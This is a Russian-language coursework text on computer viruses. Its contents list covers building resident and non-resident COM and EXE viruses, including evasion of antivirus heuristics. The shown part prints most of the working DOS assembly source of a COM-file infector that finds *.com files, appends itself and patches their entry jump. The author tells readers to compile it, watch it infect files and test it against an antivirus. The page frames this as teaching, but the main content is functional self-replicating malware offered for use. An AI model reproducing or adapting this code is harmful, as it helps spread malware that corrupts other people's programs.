Вирусы

Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа

Описание работы

Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-

Содержание

ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82


ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного

Работа содержит 1 файл

virur.doc

— 1.23 Мб (Скачать)

                                      ;ка

       int 21h

       jnc r_3                ;Нашли !

       jmp restore_dta        ;Ошибка !

 

    find_next: mov ah,3eh             ;Закроем непод-

       int 21h                ;ходящий файл...

       jnc r_2

       jmp restore_dta        ;Файл нельзя за-

                                      ;крыть !

 

    r_2:       mov ah,4fh             ;И найдем сле-

       int 21h                ;дующий ...

       jnc r_3                ;Файл найден !

       jmp restore_dta        ;Ошибка !

 

    r_3:       mov cx,12              ;Сотрем в буфере

       lea si,fn              ;"fn" имя  пред-

    destroy_name:                     ;ыдущего файла

       mov byte ptr [si],0    ;

       inc si                 ;

       loop destroy_name      ;Цикл 12 раз ...

 

         xor si,si       ;И запишем в бу-

    copy_name: mov al,byte ptr cs:[si+9eh]

                                      ;фер имя только

       cmp al,0               ;что найденного

                                      ;файла ...

       je open                ;В конце имени в

       mov byte ptr ds:fn[si],al

                                      ;DTA всегда сто-

               inc si                 ;ит ноль, его мы

       jmp copy_name          ;и хотим достичь

 

    open:      mov ax,3d02h           ;Открыть файл

                                      ;для чтения и

                                      ;записи ...

       lea dx,fn              ;Имя файла ...

       int 21h                ;Функция DOS

       jnc save_bytes

       jmp restore_dta        ;Файл не откры-

                                      ;вается !

 

    save_bytes:                       ;Считаем три

                                      ;байта :

       mov bx,ax              ;Сохраним дес-

                                      ;криптор в BX

       mov ah,3fh             ;Номер функции

       mov cx,3               ;Сколько байт ?

       lea dx,old_bytes       ;Буфер для счи-

                                      ;тываемых данных

       int 21h

               jnc found_size

       jmp close              ;Ошибка !

 

    found_size:

       mov ax,cs:[09ah]       ;Найдем  размер

                                      ;файла

    count_size:mov si,ax

       cmp ax,64000           ;Файл длиннее

                                      ;64000 байт ?

       jna toto               ;Нет ...

       jmp find_next          ;Да - тогда он

                                      ;нам не подходит

    toto:      test ax,000fh          ;Округлим размер

       jz krat_16             ;до целого числа

       or ax,000fh            ;параграфов    в

       inc ax                 ;большую сторону

    krat_16:   mov di,ax              ;И запишем ок-

                                      ;ругленное  зна-

                                      ;чение в DI ...

                                      ;Расчитаем  сме-

                                      ;щение для пере-

                                      ;хода на код ви-

                                      ;руса ...

       sub ax,3               ;Сама    команда

                                      ;перехода  зани-

                                      ;мает три байта!

       mov byte ptr new_bytes[1],al

                                      ;Смещение найде-

       mov byte ptr new_bytes[2],ah

                                      ;но !

       mov ax,di              ;Сколько   пара-

       mov cl,4               ;графов содержит

       shr ax,cl              ;заражаемая про-

                              ;грамма ?

               dec ax                 ;Учитываем дейс-

                                      ;твие директивы

                                      ;ORG 110h ...

       mov byte ptr add_to_ds,al

                                      ;Корректирующее

       mov byte ptr add_to_ds+1,ah

                                      ;число найдено !

 

       mov ax,4200h           ;Установим ука-

       xor cx,cx              ;затель на пос-

       dec si                 ;ледний байт

       mov dx,si              ;файла ...

       int 21h

       jnc read_last

       jmp close              ;Ошибка !

 

    read_last:                        ;И считаем этот

       mov ah,3fh             ;байт в ячейку

               mov cx,1               ; " last " ...

       lea dx,last

       int 21h

       jc close               ;Ошибка !

 

       cmp last,'7'           ;" last " =" 7 "

       jne write_vir          ;Нет - дальше

       jmp find_next          ;Да- поищем дру-

                                      ;гой файл ...

 

    write_vir: mov ax,4200h           ;Установим  ука-

       xor cx,cx              ;затель на конец

       mov dx,di              ;файла ...

      int 21h

               jc close               ;При ошибке -

                              ;закроем файл

               mov ah,40h             ;Запишем  в файл

               mov cx,vir_len         ;код  вируса дли-

               lea dx,vir             ;ной vir_len

               int 21h

               jc close               ;При ошибке -

                              ;закроем файл

    write_bytes:

       mov ax,4200h           ;Установим  ука-

       xor cx,cx              ;затель на нача-

       xor dx,dx              ;ло файла

       int 21h

       jc close               ;При ошибке -

                              ;закроем файл

 

               mov ah,40h             ;Запишем в  файл

               mov cx,3               ;первые три бай-

               lea dx,new_bytes       ;та ( команду

               int 21h                ;перехода ) ...

 

    close:     mov ah,3eh             ;Закроем   зара-

               int 21h               ;женный файл ...

 

    restore_dta:

       mov cx,80h             ;Размер DTA -

                                      ;128 байт ...

       mov bx,80h             ;Смещение к DTA

       lea si,old_dta         ;Адрес массива

    dta_fresh:

       mov al,ds:[si]         ;Читаем из  мас-

                                      ;сива "old_dta"

       mov byte ptr cs:[bx],al;байт  и  перено-

                                      ;сим его в DTA

       inc bx                 ;К новому байту

       inc si                 ;

       loop dta_fresh         ;Цикл 128 раз

 

       pop ds                 ;Восстановим

                                      ;испорченный DS

       push cs                ;Занесем в стек

                                      ;регистр CS

       db 0b8h                ;Код команды

    jump:      dw 100h                ;mov ax,100h

       push ax                ;Занесем в стек

                                      ;число 100h

       retf                   ;Передача управ-

                                      ;ления на задан-

                                      ;ный адрес ...

 

    ;\*Data area ...

 

    old_bytes db   0e9h               ;Исходные три

                                      ;байта  заражен-

              dw   vir_len + 0dh      ;ной  программы

 

    old_dta   db   128 dup (0)        ;Здесь вирус

                                      ;хранит исходную

                                      ;DTA программы

    maska     db   '*.com',0          ;Маска для поис-

                                      ;ка файлов ...

    fn        db   12 dup (' '),0     ;Сюда помещается

                                      ;имя файла -жер-

                                      ;твы ...

    new_bytes db   0e9h               ;Первые три бай-

              db   00h               ;та вируса в

              db   00h               ;файле ...

 

    last      db   0                  ;Ячейка для пос-

                                      ;леднего байта

              db   '7'                ;Последний байт

                                      ;вируса в файле

 

    vir_len   equ   $-vir             ;Длина вирусного

                                      ;кода ...

 

    prg_end:   mov ah,4ch             ;Завершение  за-

               INT 21H                ;пускающей прог-

                                      ;раммы ...

 

              db '7'                  ;Без этого сим-

                                      ;вола вирус  за-

                                      ;разил бы сам

                                      ;себя ...

 

    prg ends                          ;Все ASM - прог-

    end start                         ;раммы заканчи-

                                      ;ваются примерно

                                      ;так .

 

    Если вы когда нибудь  читали [ 3 ], только что при-

    веденная программа покажется  вам  знакомой. Строго

    говоря, наш  вирус   написан " по мотивам "  этой в

    общем совсем неплохой  книги. " Книжный " вирус су-

    щественно переработан,исправлены  замеченные ошибки

    и глюки.Несмотря на  это поступок автора трудно  на-

    звать  плагиатом.  Просто  затронутая в работе П.Л.

    Хижняка тема получила  новое развитие.

 

 

                     1.19 Комментарии

 

    Вирус,который  мы разработали, отыскивает программы

    для  заражения лишь в том каталоге, из которого был

    запущен  зараженный файл .Понятно,что в этом случае

    большой  заразностью он не обладает.Но  во - первых,

    мы  идем от простого к  сложному,  и следующие наши

    программы  будут более эффективными .А во - вторых,

    эта  разработка лишь преследовала  цель показать ос-

    новные  приемы изготовления вирусных программ.Кроме

    того, чрезмерная  сложность наверняка  отпугнула бы

    читателя .

 

 

                   1.20 Испытание вируса

 

    Для  проверки в действии разработанной  нами програ-

    ммы  просто скопируйте  ее в отдельный файл ( коне-

    чно, только если у  вас есть дискета с текстом  кни-

    ги ).Далее скопируйте  в каталог с вирусом несколь-

    ко COM - файлов.Откомпилируйте  исходный  текст  и

    запустите полученный COM - файл,содержащий в  себе

    вирусный код.Проблем  с компиляцией быть не должно,

    так как  программа   тщательно  тестировалась . По-

    наблюдайте,  как вирус   заражает файлы .Попробуйте

    запустить зараженную  программу под управлением от-

    ладчика и в автоматическом  режиме.И, наконец, про-

    верьте зараженную программу с помощью DOCTOR WEB .

 

 

            ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ

                    ВИРУСНОЙ ПРОГРАММЫ

 

 

          2.1 Понятие  резидентного ( TSR ) вируса

 

    Резидентными называют  вирусы, которые после запус-

    ка зараженной программы помещают свой код в опера-

    тивную память  . Этот  код "занимается" заражением

    файлов и находится  в памяти в течение всего  сеанса

    работы .

    Резидентные вирусы обычно  намного заразнее нерези-

    дентных и распространяются  быстрее .Однако создать

    такой вирус не так  просто . Кроме того,резидентные

    вирусные программы подвержены  всевозможным  сбоям

    и могут конфликтовать  с установленным на компьюте-

    ре  программным обеспечением . Но несмотря  на все

    трудности,  возникающие при разработке резидентных

    вирусов,  их было создано  великое множество .

    В предлагаемой вниманию  читателей главе  рассказы-

    вается о приемах создания TSR - вирусов,  поражаю-

    щих COM - файлы .Кроме  того,  освещаются  основные

    проблемы, с которыми приходится встречаться при их

    разработке .

 

 

       2.2 Несколько слов  о резидентных программах

 

    Вы,наверное, знаете, как  строятся резидентные про-

    граммы .В этом  пункте  мы немного поговорим об  их

    организации и функционировании .

    Резидентными называют  программы,которые после сво-

    его  завершения остаются  в памяти и активизируются

    при наступлении  каких  - либо событий  в  вычисли-

    тельной системе .Такими  событиями могут быть, нап-

    ример, нажатие " горячей  " комбинации клавиш,  вы-

    полнение некоторых операций  с дисками и т. п .Но в

    любом  случае  программа   получает  управление при

    тех или иных условиях .

    Все резидентные программы  строятся одинаково,  или

    почти одинаково, и  состоят из двух секций - секции

    инициализации и собственно  резидентной части.Рези-

    дентная часть, как  правило, состоит из  одной   или

    нескольких подпрограмм  - обработчиков прерываний и

    находится в памяти  во время сеанса работы  компью-

    тера .Такие подпрограммы могут полностью подменять

    собой системные обработчики  или только служить  их

    дополнением.Естественно,для  того,чтобы резидентная

    часть получила управление, необходимо заменить со-

    ответствующие вектора  в таблице векторов  прерыва-

    ний на точки входа в заново установленные обработ-

    чики.Эту функцию и  выполняет секция инициализации,

Информация о работе Вирусы